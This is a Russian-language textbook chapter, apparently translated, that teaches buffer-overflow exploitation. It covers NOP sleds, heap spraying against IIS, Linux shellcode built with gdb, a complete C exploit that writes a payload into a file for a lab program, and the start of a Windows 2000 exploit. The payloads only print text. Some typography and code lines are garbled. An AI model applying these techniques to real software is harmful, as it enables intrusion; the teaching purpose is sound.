Последовательность команд NOP. В командах перехода следует точно указать адрес перехода. Для этого нужно решить практически неразрешимую задачу определения адреса программного кода полезной нагрузки в памяти. Сложность состоит в том, что программный код полезной нагрузки каждый раз загружается в разные места памяти. Для системы UNIX повторная компиляция одного и того же пакета программ в различных средах, различными компиляторами с отличающимися установками оптимизации является общепринятой практикой. Что работает у одной копии программного обеспечения, может не работать у другой. Для того чтобы преодолеть подобные затруднения, рекомендуется использовать последовательность команд NOP (No Operation). Идея проста. NOP – это команда, которая ничего не делает, но занимает место в памяти. Кстати, первоначально команда NOP была создана для отладки. Поскольку команда NOP занимает один байт памяти, то она нечувствительна к проблемам упорядочивания байтов и их выравнивания.

Трюк заключается в инициализации буфера командами NOP перед записью в него программного кода полезной нагрузки. Тогда при неточном определении адреса программного кода полезной нагрузки ничего страшного не произойдет, если найденный адрес будет указывать внутрь последовательности команд NOP. Адрес может указывать на любую область памяти в буфере, если буфер заполнен кодами команды NOP. В случае перехода на команду NOP выполнится она и все последующие, пока не дойдет очередь до первой команды программного кода полезной нагрузки. Чем больше заполненный командами NOP буфер, тем с меньшей точностью может быть определен адрес программного кода полезной нагрузки.

Программный код полезной нагрузки

Значение программного кода полезной нагрузки огромно. Однажды написав код полезной нагрузки, в дальнейшем можно наращивать его функциональные возможности хитроумными способами. Программный код полезной нагрузки может быть одним из наиболее полезных и созидательных компонент программы переполнения буфера.

Кодирование. С трудом верится в целесообразность чрезмерного усложнения своей работы. Большинство известных программ переполнения буфера состоят из блоков нечитаемого машинного кода. Вряд ли это кому-то понравится. Есть гораздо лучший способ кодирования полезной нагрузки: напишите код полезной нагрузки на языке C, C++ или встроенном ассемблере, а затем скопируйте откомпилированный код в программный код полезной нагрузки. Многие компиляторы запросто объединяют код на ассемблере и C в единую программу. Подобный способ написания созданных на разных языках программ называется способом комплексирования программ (fusion technique).

Комплексирование программ – сравнительно простой способ написания и компиляции программ на ассемблере с нетрадиционными ухищрениями. Некоторые из них обеспечивают внедрение в рабочие области памяти других процессов. Подобное Windows NT обеспечивает для аутентифицированных пользователей. Но при переполнении буфера того же может добиться и пользователь, не прошедший аутентификации. В любом случае программный код вставляется в пространство удаленного процесса.

Распыление динамически распределяемой памяти («куча»). (Динамически распределяемая память («куча») – область памяти, выделяемая программе для динамически размещаемых структур данных.) Во время исследования возможности использования уязвимости. IDA (Increment/Decrement Adress) информационного сервера Internet IIS (Internet Information Server) 4/5/6 столкнулись со странной ситуацией. Было обнаружено, что диапазон адресов, на которые мог ссылаться при переполнении буфера регистр EIP, сильно ограничен. Уязвимость. IDA была обусловлена переполнением буфера в результате расширения строки символов. Другими словами, бралась строка «AAAA» (в шестнадцатеричном представлении 0x41414141) и преобразовывалась к шестнадцатеричному значению 0x0041004100410041. Это было очень неприятно, так как в область памяти по адресу, начинающемуся с шестнадцатеричного значения 0x00, никакой код никогда не загружался. Поэтому традиционный способ передачи управления программному коду полезной нагрузки с помощью команд перехода по содержимому регистра (jmp ESP или jmp reg) оказался непригодным. Другим неприятным проявлением расширения строки символов было размещение нулевых байтов между байтами программного кода полезной нагрузки. Для преодоления этой проблемы был придуман новый способ, получивший название «принуждение динамически распределяемой памяти» (forcing the heap). Этот способ относится к классу нарушения «кучи» (heap violation). О наиболее известных атаках на динамически распределяемую память будет рассказано позднее, а способ «принуждения динамически распределяемой памяти» отличается от них тем, что его целью является переполнение стека, а не кучи. В ряде случаев этот способ оказался полезным, в том числе и при переполнении буфера из-за расширения строк.

При исследовании доступных адресов памяти вида 0x00aa00bb, где aa и bb – управляемые символы, было обнаружено, что этот диапазон адресов информационный сервер Internet IIS отводит под динамически распределяемую память. Всякий раз при передаче запроса информационному серверу Internet он сохраняет в динамически распределяемой памяти данные сеанса. Было найдено, что в этом же диапазоне памяти сохранялись пользовательские переменные окружения протокола HTTP, но ими нельзя было воспользоваться. Способ распыления динамически распределяемой памяти заключается в создании в ней последовательности команд NOP и передачи туда управления. Это позволило переполнить стек, получить контроль над регистром EIP и с помощью команды перехода в область динамически распределяемой памяти выполнить размещенный в ней программный код.

Преимущества предложенного способа заключаются в использовании различных ухищрений обхода нулевых байт, вставленных в программный код полезной нагрузки в результате расширения байтов, а также в значительном увеличении размера кода полезной нагрузки, загружаемого в доступную память. Способ удобен еще и тем, что не требует задания смещения в команде передачи управления в область памяти с загруженной динамически подключаемой библиотекой. Достаточно только сослаться на область динамически распределяемой памяти.

Обратная сторона способа заключается в необходимости размещения в области динамически распределяемой памяти длинной последовательности команд NOP, позволяющей загрузить нужный код по желаемым адресам памяти.

Другой способ, основанный на спецификации %u (кодирование Unicode), был развит японским исследователем безопасности, известным под псевдонимом hsj. Он позволяет управлять всеми четырьмя байтами регистра EIP, что позволяет применить традиционные способы переполнения буфера. Перечисленные способы подтверждает существование нескольких решений одной проблемы. Кодирование Unicode специфично для информационного сервера Internet, поэтому способ японского исследователя применим только к нему, а у способа распыления динамически распределяемой памяти более широкая область применения. Им можно воспользоваться для переполнения буфера даже тогда, когда декодирование невозможно.

Пример программы переполнения буфера для Linux

В последнее время феноменально выросла популярность Linux. Несмотря на доступные исходные тексты и армию разработчиков открытого программного обеспечения, до сих пор нельзя сказать, что в Linux исправлены все ошибки. Часто по вине пользователя переполнение буфера происходит в программах, которые непосредственно не связаны с безопасностью системы. Далее особое внимание будет обращено на способы, которые могут быть использованы в многочисленных ситуациях, в том числе и связанных с безопасностью.

На примере программного кода записи строки на экран будет продемонстрировано последовательное расширение функциональных возможностей программы переполнения буфера. Пример подобен простой программе на языке C, использующей функцию write().

Сначала создадим простую программу, выводящую строку на экран:

–write.c–

int main()

{

write(1,»EXAMPLE\n»,10);

}

–write.c–

Сохраним исходный текст в файле write.c, откомпилируем его компилятором GCC и выполним.

bash$ gcc write.c -o example —static

bash$ ./example

EXAMPLE

bash$

Все достаточно просто. Для того чтобы окончательно понять работу программы, воспользуемся утилитой gdb. У утилиты gdb больше возможностей, чем читатель может себе представить. Если он знает их все, то ему нужно сменить хобби. Для изучения примера достаточно основных возможностей утилиты gdb. Для начала откроем пример программы:

bash$ gdb ./example

GNU gdb 5.1

Copyright 2001 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public

License, and you are welcome to change it and/or distribute

copies of it under certain conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB. Type “show

warranty” for details.

This GDB was configured as “i686-pc-linux-gnu”...

(gdb)

Может оказаться, что версия утилиты gdb читателя отличается от используемой в книге. Но это не имеет большого значения. Без всякого сомнения, используемые возможности утилиты gdb реализованы в версии утилиты читателя. Введем в ответ на приглашение утилиты команду disassemble main и исследуем выполняемый код программы в функции main(), обратив особое внимание на участок кода, который вызывает функцию write(). Команда disassemble выводит код функции на языке ассемблера используемого компьютера. Для нашего примера это Intel x86.

(gdb) disas main

Dump of assembler code for function main:

0x80481e0

: push %EBP

0x80481e1 : mov %ESP,%EBP

0x80481e3 : sub $0x8,%ESP

0x80481e6 : sub $0x4,%ESP

0x80481e9 : push $0x9

0x80481eb : push $0x808e248

0x80481f0 : push $0x1

0x80481f2 : call 0x804cc60 <__libc_write>

0x80481f7 : add $0x10,%ESP

0x80481fa : leave

0x80481fb : ret

End of assembler dump.

(gdb)

Далее будет исследован выполняемый код функции write(). Параметры функции write() записываются в стек в обратном порядке. Сначала командой push $0x9 в стек проталкивается величина 0x9 (символ $0x указывает на представление утилитой gdb выводимых величин в шестнадцатеричном виде), где 9 – длина строки «EXAMPLE\n». Далее в стек командой push $0x808e248 проталкивается адрес строки «EXAMPLE\n». Для просмотра содержимого области по этому адресу достаточно в ответ на приглашение gdb ввести команду утилиты: x/s 0x808e248. Заключительный шаг перед вызовом функции write() состоит в записи в стек дескриптора файла. В данном случае это 1 – дескриптор стандартного вывода. После перечисленных действий вызывается функция write().

0x80481e9 : push $0x9

0x80481eb : push $0x808e248

0x80481f0 : push $0x1

0x80481f2 : call 0x804cc60 <__libc_write>

Для просмотра кода функции write() в ответ на приглашение утилиты введем команду disas__libc_write . Получим следующее.

(gdb) disas __libc_write

Dump of assembler code for function __libc_write:

0x804cc60 <__libc_write>: push %EBX

0x804cc61 <__libc_write+1>: mov 0x10(%ESP,1),%EDX

0x804cc65 <__libc_write+5>: mov 0xc(%ESP,1),%ECX

0x804cc69 <__libc_write+9>: mov 0x8(%ESP,1),%EBX

0x804cc6d <__libc_write+13>: mov $0x4,%EAX

0x804cc72 <__libc_write+18>: int $0x80

0x804cc74 <__libc_write+20>: pop %EBX

0x804cc75 <__libc_write+21>: cmp $0xfffff001,%EAX

0x804cc7a <__libc_write+26>: jae 0x8052bb0 <__syscall_error>

0x804cc80 <__libc_write+32>: ret

End of assembler dump.

Начальная команда push %EBX не так важна. Она сохраняет в стеке старое значение регистра EBX. В программе значение регистра изменяется, а затем восстанавливается командой pop %EBX. Еораздо интереснее последующие команды mov и int $0x80. Первые три команды mov переписывают данные, ранее сохраненные в стеке функцией main (), в рабочие регистры. Четвертая команда mov подготавливает вызов функции write(), помещая номер системного вызова в регистр EAX. При выполнении команды int $0x80 операционная система передает управление программе системного вызова по номеру, записанному в регистре EAX. Номер системного вызова функции write() – 4. В файле «/usr/include/asm/unistd.h» перечислены все номера доступных системных вызовов.

0x804cc6d <__libc_write+13>: mov $0x4,%EAX 0x804cc72 <__libc_write+18>: int $0x80

Подведем итоги. Теперь известно, что функции write() передается три параметра: длина записываемых данных, адрес строки источника, из которой переписываются данные, и адресат записи – дескриптор файла. Также теперь известно, что длина строки, в данном случае 9 байт, передается через регистр EDX, адрес строки записываемых данных через регистр ECX и дескриптор файла должен быть передан через регистр EBX. Таким образом, простой код вызова функции write() без обработки ошибок выглядит следующим образом:

mov $0x9,%EDX

mov 0x808e248,%ECX

mov $0x1,%EBX

mov $0x4,%EAX

int $0x80

Зная ассемблерный вид вызова функции write(), можно приступить к написанию управляющего кода (shellcode). Единственная сложность заключается во второй команде mov 0x808e248,%ECX с явно заданным адресом памяти. Проблема состоит в том, что нельзя прочитать из строки данные, не зная ее адрес, но нельзя узнать адрес строки, пока она не будет загружена в память. Для ее разрешения применима последовательность команд jmp/call. Найденное решение основано на алгоритме работы команды call: по команде call в стек записывается адрес следующей команды. Поэтому выход из трудного положения может быть следующим:

jump

code:

pop %ECX

string:

call

“our string\n”

По команде call в стек записывается адрес следующей команды и выполняется переход по указанной метке. На самом деле в стек загружается адрес строки, но для выполнения команды это безразлично. В результате на вершине стека оказывается адрес строки string\n. После перехода на метку code выполняется команда pop %ECX. Команда pop переписывает в заданный регистр данные с вершины стека. В данном случае в регистр ECX записывается адрес строки string\n. Осталось только для правильной работы программы очистить (обнулить) регистры от посторонних данных. Очистка регистров выполняется командами операция исключающее ИЛИxor или вычитания sub. Лучше использовать команду xor, потому что команда xor всегда обнуляет регистр и транслируется в быстрый компактный код. В системных вызовах для передачи параметров используются младшие байты регистров, поэтому обнуление регистров гарантирует правильную передачу параметров. В итоге фрагмент программы приобрел следующий вид:

jump string

code:

pop %ECX

xor %EBX, %EBX

xor %EDX, %EDX

xor %EAX, %EAX

mov $0x9,%EDX

mov $0x1,%EBX

mov $0x4,%EAX

int $0x80

string:

call code

“EXAMPLE\n”

После завершения работы над фрагментом управляющего кода следует решить вопрос о передачи ему управления из программы переполнения буфера. Для этого нужно подменить сохраненное в стеке значение регистра EIP на адрес управляющего кода. Когда функция bof() уязвимой программы попытается вернуться в функцию main по команде ret, она восстановит из стека сохраненное там значение регистра EIP и по команде перехода jmp перейдет по восстановленному адресу. Но где в памяти будет расположен управляющий код? Конкретнее, на какой адрес нужно подменить содержимое регистра EIP, сохраненное в стеке?

При помощи функции fread() данные из файла считываются в размещенный в стеке восьмибайтовый буфер buffer. Известно, что программный код полезной нагрузки в конечном счете будет загружен из файла в стек. В UNIX-подобных системах во всех программах стек начинается с одного и того же адреса. Поэтому последнее, что осталось сделать, – это написать программу определения смещения области размещения программного кода полезной нагрузки в стеке относительно его начала.

Перед завершением своей работы функция передает вызвавшей ее программе код возврата в регистре EAX, чтобы та знала об успешном или неуспешном выполнении функции. Чтобы узнать ассемблерную реализацию фрагмента программы, отвечающего за передачу кода завершения, оттранслируем и дизассемблируем следующую программу:

$ cat ret.c

int main()

{

return(0);

}

$ gcc ret.c -o ret

$ gdb ./ret

(gdb) disas main

Dump of assembler code for function main:

0x8048430

: push %EBP

0x8048431 : mov %ESP,%EBP

0x8048433 : mov $0x0,%EAX <– here it is :)

0x8048438 : pop %EBP

0x8048439 : ret

0x804843a : mov %ESI,%ESI

0x804843c : nop

0x804843d : nop

0x804843e : nop

0x804843f : nop

End of assembler dump.

(gdb)

Далее, вместо выполнения оператора возврата return (значение) пропустим его и перепишем значение ESP в регистр EAX. Таким способом значение регистра ESP может быть назначено переменной. Вот пример программы, отображающей содержимое регистра ESP:

–get_ESP.c–

unsigned long get_ESP(void)

{

__asm__(“movl %ESP,%EAX”);

}

int main()

{

printf(“ESP: 0x%x\n”, get_ESP());

return(0);

}

–get_ESP.c–

Можно ли теперь, зная адрес начала стека, точно определить в нем место размещения управляющего кода? Нет, нельзя!

Но для разумной оценки адреса области размещения управляющего кода можно увеличить ее размер способом, аналогичным способу последовательности команд nop. В начале работы программы все регистры были очищены командами xor, поэтому в качестве заполнителя буфера можно воспользоваться одной из команд работы с регистром, которая не окажет влияния на работу программы. Например, команда inc 0 %>EAX, машинный код представляется шестнадцатеричным байтом 0x41, увеличивает значение регистра EAX на единицу. В управляющем коде регистр EAX перед использованием обнуляется. Поэтому при размещении перед первой командой jmp команд inc %EAX управляющий код будет прекрасно работать. В действительности в управляющем коде можно разметить столько команд inc %EAX, сколько захотим. В данном случае команда inc %EAX эквивалентна команде nop. Поэтому выберем размер управляющего кода равным 1000 байт и заполним его символами 0x41, другими словами, командой inc%EAX.

Определенная в программе переполнения буфера символическая константа OFFSET – предполагаемое смещение области размещения управляющего кода в стеке. В программе ему присвоено символическое значение ESP+1500.

Вот так в конечном счете выглядят управляющий код и программа переполнения:

#include

#include

/***** Shellcode dev with GCC *****/

int main() {

__asm__(”

jmp string # jump down to

Это команды, с которых фактически начинается программный код полезной нагрузки. Сначала обнуляются используемые в программе регистры, чтобы находящиеся в них данные не повлияли на работу управляющего кода:

xor %EBX, %EBX

xor %EDX, %EDX

xor %EAX, %EAX

# Now we are going to set up a call to the

write

#function. What we are doing is basically:

# write(1,EXAMPLE!\n,9);

# Syscall reference: /usr/include/asm/unistd.h

#

# write : syscall 4

#

Почти всем системным вызовам Linux параметры передаются через регистры. Параметры системного вызова передаются через следующие регистры:

• ECX: адрес записываемых данных;

• EBX: дескриптор файла, в рассматриваемом случае используется дескриптор стандартного файла вывода stdout;

• EDX: длина записываемых данных.

Теперь в регистр EBX записывается нужный дескриптор файла. В данном случае дескриптор стандартного файла вывода stdout равен 1:

popl %ECX # %ECX now holds the address of our string mov $0x1, %EBX

Затем длина записываемой строки записывается в младший полубайт регистра %EDX:

movb $0x09, %dl

Перед обращением к системному вызову следует сообщить операционной системе, какой системный вызов должен быть выполнен. Достигается это записью номера системного вызова в младший байт регистра %EAX – %al:

movb $0x04, %al

Теперь операционная система выполняет системный вызов, номер которого записан в регистр %al.

int $0x80

В конце программы нужно выполнить системный вызов завершения работы или #syscall 1. Системному вызову exit в данном случае параметры не нужны, поэтому фрагмент кода выглядит следующим образом:

movb $0x1, %al

int $0x80

string:

call code

A call pushes the address of the next instruction onto the stack and then does a jmp

to the specified address. In this case the next instruction after is

actually the location of our string EXAMPLE. So by doing a jump and then a call, we

can get an address of the data in which we’re interested. So now we redirect the

execution back up to

.string \“EXAMPLE\n\”

“);

В конечном счете программа переполнения буфера выглядит так:

/****** Shellcode dev with GCC *****/

#include

#include

char shellcode[] =

“\xeb\x16” /* jmp string */

“\x31\xdb” /* xor %EBX, %EBX */

“\x31\xd2” /* xor %EDX, %EDX */

“\x31\xc0” /* xor %EAX, %EAX */

“\x59” /* pop %ECX */

“\xbb\x01\x00\x00\x00” /* mov $0x1,%EBX */

“\xb2\x09” /* mov $0x9,%dl */

“\xb0\x04” /* mov $0x04,%al */

“\xcd\x80” /* int $0x80 */

“\xb0\x01” /* mov $0x1, %al */

“\xcd\x80” /* int $0x80 */

“\xe8\xe5\xff\xff\xff” /* call code */

“EXAMPLE\n”

;

#define VULNAPP «./bof»

#define OFFSET 1500

unsigned long get_ESP(void)

{

__asm__(«movl %ESP,%EAX»);

}

main(int argc, char **argv)

{

unsigned long addr;

FILE *badfile;

char buffer[1024];

fprintf(stderr, «Using Offset: 0x%x\nShellcode Size:

%d\n»,addr,sizeof(shellcode));

addr = get_ESP()+OFFSET;

/* Make exploit buffer */

memset(&buffer,0x41,1024);

buffer[12] = addr & 0x000000ff;

buffer[13] = (addr & 0x0000ff00) >> 8;

buffer[14] = (addr & 0x00ff0000) >> 16;

buffer[15] = (addr & 0xff000000) >> 24;

memcpy(&buffer[(sizeof(buffer) –

sizeof(shellcode))],shellcode,sizeof(shellcode));

/* put it in badfile */

badfile = fopen(“./badfile”,“w”);

fwrite(buffer,1024,1,badfile);

fclose(badfile);

}

Пример выполнения программы переполнения буфера представлен ниже:

sh-2.04# gcc sample4.c -o sample4

sh-2.04# gcc exploit.c -o exploit

sh-2.04# ./exploit

Using Offset: 0x8048591

Shellcode Size: 38

sh-2.04# od -t x2 badfile

0000000 4141 4141 4141 4141 4141 4141 fc04 bfff

#########

*

0001720 4141 4141 4141 4141 4141 16eb db31 d231

0001740 c031 bb59 0001 0000 09b2 04b0 80cd 01b0

0001760 80cd e5e8 ffff 45ff 4158 504d 454c 000a

2000

sh-2.04# ./sample4

EXAMPLE

sh-2.04#

В первых двух строчках, начинающихся с gcc, содержится вызов компилятора для трансляции уязвимой программы sample4.c и программы переполнения буфера exploit.c. Программа переполнения буфера выводит смещение области размещения управляющего кода в стеке и размер программного кода полезной нагрузки. Попутно создается файл « badfile », к которому обращается уязвимая программа. Затем отображается дамп содержимого файла «badfile» (команда octal dump – od) в шестнадцатеричном формате. По умолчанию эта версия команды od не отображает повторяющиеся строчки, выводя вместо них строку, начинающуюся звездочкой «*». Поэтому в дампе не показаны повторяющиеся строчки со смещениями от 0000020 и до 0001720, заполненные командами 0x41 из последовательности команд inc %EAX. И наконец, приведен отчет работы программы sample4, которая выводит строку EXAMPLE. Если просмотреть исходный текст уязвимой программы, то можно заметить, что ничего подобного в ней запрограммировано не было. Этот вывод был запрограммирован в программе переполнения буфера. Из этого следует, что попытка воспользоваться переполнением буфера в своих целях оказалась успешной. Пример программы переполнения буфера для Windows NT

Рассмотрим возможность использования ошибки переполнения буфера в Windows NT. Большинство рассматриваемых в этой секции подходов применимо ко всем платформам Win32 (Win32 – платформа, поддерживающая Win32 API, например Intel Win32s, Windows NT, Windows 95, MIPS Windows NT, DEC Alpha Windows NT, Power PC Windows NT), но в силу различий между платформами не все способы применимы к каждой из них. Приведенная ниже программа была написана и оттестирована в Windows 2000 Service Pack 2. Она может работать и на других платформах, но из-за ее простоты и минимума функциональных возможностей, реализованных в ней, этого гарантировать нельзя. Пригодные для различных платформ способы переполнения буфера будут рассмотрены в этой главе позднее.

Известно большое количество способов переполнения буфера в Windows. Приведенная ниже программа демонстрирует лишь некоторые них. Для того чтобы программа получилась небольшой, рассмотрена реализация непереносимого переполнения буфера. Программа предназначена для выполнения в Windows 2000 Service Pack 2. Для выполнения на другой платформе потребуется повторная компиляция и, возможно, внесение в программу небольших изменений.

Программа выводит всплывающее окно – сообщение с текстом приветствия «HI».

На примере программы будет рассмотрено:

• создание загрузчика (средства доставки);

• построение программы переполнения буфера;

• нахождение точки передачи управления (точки перехода);

• запись программного кода полезной нагрузки.

Создание загрузчика. Загрузчик ориентирован на работу с файлами, поскольку было известно, что исследуемое переполнение буфера проявляется при чтении данных из файла в буфер. Было также известно, что уязвимая программа читает из файла двоичные данные. Поэтому можно было не беспокоиться о нулевых байтах в управляющем коде. В результате был написан простой загрузчик, который записывает управляющий код в файл. Уязвимая программа прочитает из файла программу переполнения буфера в буфер данных.

Средства записи в файл в Windows NT довольно просты. Для открытия файла, записи в него и закрытия файла в программе были использованы функции программного интерфейса приложения API CreateFile(), WriteFile() и CloseHandle(). Буфер writeme предусмотрен для хранения программы переполнения буфера.

Пример фрагмента программы для открытия файла и записи в него данных приведен ниже:

//open the file

file=CreateFile(“badfile”,GENERIC_ALL,0,NULL,OPEN_ALWAYS,

FILE_ATTRIBUTE_NORMAL,NULL);

//write our shellcode to the file

WriteFile(file,writeme,65,&written,NULL);

CloseHandle(file);

Запись программы переполнения буфера. Из описания уязвимой к переполнению буфера программы ясно, что для подмены содержимого регистра EIP следует изменить в буфере первые 16 байт данных, где первые 8 байт содержат данные, последующие 4 байта – сохраненное в стеке содержимого регистра EBP и еще 4 байта – сохраненное значение регистра EIP. Другими словами, в буфер должно быть записано 12 байт информации. Было решено записывать шестнадцатеричный эквивалент двенадцати команд процессора Intel nop, то есть 12 байт 0x90. На первый взгляд это похоже на способ использования последовательности команд nop, но это не совсем так, поскольку на сей раз можно определить точный адрес перехода и, следовательно, нет необходимости выполнять ничего не делающие команды. В данном случае последовательность команд nop является заполнителем буфера, которым в стеке перезаписывается буфер данных и сохраненное содержимое регистра EBP. Для заполнения первых 12 байт буфера байтом 0x90 используется функция memset() из библиотеки функций языка С.

memset(writeme,0x90,12); //set my local string to nops

Поиск точки перехода. После подготовки буфера следует найти подходящую точку перехода. Уже упоминалось о многочисленных способах загрузки в регистр EIP указателя на нужную программу. Обычно для этого в отладчике устанавливается точка прерывания перед выполнением команды ret и анализируется содержимое регистров. Например, содержимое регистров в точке прерывания может быть следующим:

EAX = 00000001 EBX = 7FFDF000

ECX = 00423AF8 EDX = 00000000

ESI = 00000000 EDI = 0012FF80

ESP = 0012FF30 EBP = 90909090

Перед командой ret регистр ESP указывает на область в стеке, расположенную следом за областью сохранения содержимого регистра EIP. После того как команда ret продвинет содержимое регистра ESP на 4, он станет указывать на область памяти, из которой этой же командой ret будет восстановлено значение регистра EIP. После восстановления EIP процессор выполнит команду, адрес которой совпадает с содержимым регистра EIP. Это означает, что если с помощью регистра ESP в EIP будет загружен нужный адрес, то с него продолжится выполнение программы. Отметим также, что после восстановления регистра EBP в эпилоге функции в регистр было загружено 4 байта заполнителя буфера 0x90.

Теперь найдем в выполнимом коде уязвимой программы команды, которые позволили бы с помощью регистра ESP загрузить нужный адрес в регистр EIP. Для этого воспользуемся программой findjmp. Для большей эффективности поиска потенциально уязвимых частей кода рекомендуется определить импортированные в программу динамически подключаемые библиотеки DLL и исследовать их выполнимый код. Для этого можно воспользоваться входящей в состав Visual Studio программой depends.exe или утилитой dumpbin.exe.

Воспользуемся более простой утилитой dumpbin, с помощью которой можно быстро получить всю интересующую нас информацию. Для этого в командной строке введем следующее:

dumpbin /imports samp4.exe

Microsoft (R) COFF Binary File Dumper Version 5.12.8078

Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

Dump of file samp4.exe

File Type: EXECUTABLE IMAGE

Section contains the following imports:

KERNEL32.dll

426148 Import Address Table

426028 Import Name Table

0 time date stamp

0 Index of first forwarder reference

26D SetHandleCount

174 GetVersion

7D ExitProcess

1B8 IsBadWritePtr

1B5 IsBadReadPtr

1A7 HeapValidate

11A GetLastError

1B CloseHandle

51 DebugBreak

152 GetStdHandle

2DF WriteFile

1AD InterlockedDecrement

1F5 OutputDebugStringA

13E GetProcAddress

1C2 LoadLibraryA

1B0 InterlockedIncrement

124 GetModuleFileNameA

218 ReadFile

29E TerminateProcess

F7 GetCurrentProcess

2AD UnhandledExceptionFilter

B2 FreeEnvironmentStringsA

B3 FreeEnvironmentStringsW

2D2 WideCharToMultiByte

106 GetEnvironmentStrings

108 GetEnvironmentStringsW

CA GetCommandLineA

115 GetFileType

150 GetStartupInfoA

19D HeapDestroy

19B HeapCreate

19F HeapFree

2BF VirtualFree

22F RtlUnwind

199 HeapAlloc

1A2 HeapReAlloc

2BB VirtualAlloc

27C SetStdHandle

AA FlushFileBuffers

241 SetConsoleCtrlHandler

26A SetFilePointer

34 CreateFileA

BF GetCPInfo

B9 GetACP

131 GetOEMCP

1E4 MultiByteToWideChar

153 GetStringTypeA

156 GetStringTypeW

261 SetEndOfFile

1BF LCMapStringA

1C0 LCMapStringW

Summary

3000 .data

1000 .idata

2000 .rdata

1000 .reloc

20000 .text

В результате просмотра отчета работы утилиты dumpbin.exe выясняется, что в уязвимую программу samp4.exe встроена единственная динамически подключаемая библиотека DLL – kernel32.dll. Несмотря на многочисленные ссылки в библиотеке kernel32.dll на другие библиотеки, пока для поиска подходящей точки перехода достаточно kernel32.dll.

Загрузка...